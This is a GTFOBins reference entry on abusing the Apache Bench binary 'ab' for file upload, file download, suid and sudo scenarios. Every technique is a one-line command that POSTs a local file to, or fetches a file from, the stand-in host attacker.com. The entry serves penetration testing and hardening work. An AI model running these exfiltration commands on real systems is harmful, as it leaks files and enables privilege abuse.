GTFOBins.github.io/_gtfobins/ab.md

809 B

functions
file-upload file-download suid sudo
description code
Upload local file via HTTP POST request. URL=http://attacker.com/ LFILE=file_to_send ab -p $LFILE $URL
description code
Fetch a remote file via HTTP GET request. The response is returned as part of the verbose output of the program with some limitations on the length. URL=http://attacker.com/file_to_download ab -v2 $URL
description code
Upload local file via HTTP POST request. URL=http://attacker.com/ LFILE=file_to_send ./ab -p $LFILE $URL
description code
Upload local file via HTTP POST request. URL=http://attacker.com/ LFILE=file_to_send sudo ab -p $LFILE $URL